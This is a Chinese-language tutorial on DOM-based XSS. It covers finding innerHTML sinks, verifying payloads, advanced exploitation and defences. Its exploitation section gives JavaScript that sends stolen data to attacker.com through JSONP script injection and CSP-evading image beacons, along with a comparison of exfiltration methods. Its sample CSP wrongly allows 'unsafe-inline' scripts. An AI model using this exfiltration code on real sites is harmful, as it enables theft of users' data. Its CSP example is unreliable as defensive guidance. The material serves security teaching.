DOM型XSS深度渗透实战
字数 1325 2025-09-01 11:26:17
DOM型XSS深度渗透实战教学文档
1. 概述
DOM型XSS(Cross-Site Scripting)是一种特殊类型的XSS漏洞,其特点是恶意代码的执行完全发生在客户端,不经过服务器端处理。本教学文档将详细讲解如何发现、验证和利用DOM型XSS漏洞,包括绕过防御机制和数据外泄的高级技术。
2. 漏洞发现
2.1 静态代码审计
关键检查点:
- 查找使用
innerHTML、outerHTML、document.write等危险DOM操作方法 - 检查动态内容渲染点,特别是从后端API获取的数据直接渲染到页面
- 识别不受信任的数据源(URL参数、localStorage、cookie等)
漏洞代码特征:
// 危险示例:直接将API响应渲染到DOM
fetch('/api/getAppInfo')
.then(response => response.json())
.then(data => {
document.getElementById('appInfo').innerHTML = data.appName;
});
2.2 漏洞成因分析
- 信任后端返回数据:前端无条件信任后端API返回的数据,未进行任何消毒处理
- 危险DOM操作:使用
.innerHTML渲染不可控内容,导致HTML标签和JavaScript被执行 - 安全头缺失:API响应头缺少
X-Content-Type-Options: nosniff等安全防护头 - 漏洞链:后端JSON接口 → 前端innerHTML渲染 → DOM解析执行
3. 漏洞验证
3.1 基本验证Payload
// 触发XSS的基本Payload
3.2 验证步骤
- 拦截API请求,修改响应中的appName字段
- 插入测试Payload:``
- 观察浏览器是否执行alert弹窗
- 确认执行上下文和可访问的DOM对象
4. 高级利用技术
4.1 绕过同源策略
技术1:JSONP协议(跨域数据劫持)
// 构造恶意JSONP请求获取跨域数据
function stealData(data) {
// 将数据发送到攻击者服务器
new Image().src = 'https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
}
const script = document.createElement('script');
script.src = 'https://victim.com/api/userInfo?callback=stealData';
document.body.appendChild(script);
4.2 突破CSP防御
技术2:图片信标突破(隐蔽+长度优化)
// 使用图片信标外带数据,规避CSP限制
function exfilData(data) {
const img = new Image();
// 将数据分段编码到URL中
img.src = `https://attacker.com/log?${btoa(data).substr(0, 2000)}`;
}
4.3 混合传输模式
技术3:随机切换JSONP/Image传输
// 根据数据大小自动选择传输方式
function exfiltrate(data) {
const dataStr = JSON.stringify(data);
if (dataStr.length < 1000) {
// 小数据使用JSONP
const script = document.createElement('script');
script.src = `https://attacker.com/jsonp?callback=receive&data=${encodeURIComponent(dataStr)}`;
document.body.appendChild(script);
} else {
// 大数据使用图片信标
const chunks = chunkString(dataStr, 2000);
chunks.forEach(chunk => {
new Image().src = `https://attacker.com/img?${encodeURIComponent(chunk)}`;
});
}
}
5. 数据外泄技术总结
| 技术 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| JSONP协议 | 可获取完整JSON数据 | 需要目标使用JSONP | 跨域数据窃取 |
| 图片信标 | 绕过CSP限制,隐蔽 | URL长度限制 | 大数据分段传输 |
| WebSocket | 实时双向通信 | 可能被防火墙拦截 | 持续数据窃取 |
| Fetch API | 支持各种HTTP方法 | 受同源策略限制 | 同域数据窃取 |
6. 防御措施
6.1 开发层面
-
输入消毒:
// 使用DOMPurify等库进行HTML消毒 const clean = DOMPurify.sanitize(untrustedHTML); document.getElementById('target').innerHTML = clean; -
安全DOM操作:
// 使用textContent代替innerHTML document.getElementById('target').textContent = untrustedData; -
内容安全策略(CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; img-src 'self' data:
6.2 运维层面
-
安全头设置:
X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block -
API防护:
- 对所有API响应进行HTML实体编码
- 设置
Content-Type: application/json头 - 实现CSRF保护
7. 漏洞挖掘方法论
- 数据流追踪:从用户输入点到最终渲染点的完整路径分析
- DOM修改监控:使用DevTools监控DOM修改事件
- 自动化扫描:结合Burp Suite、ZAP等工具进行半自动化测试
- 变异测试:对输入参数进行各种编码和变形测试
8. 总结
DOM型XSS因其客户端特性往往被低估,但通过精心构造的攻击链可以实现与存储型XSS相同的危害。防御需要开发、运维和安全团队的协同努力,从代码编写到部署配置的全生命周期防护。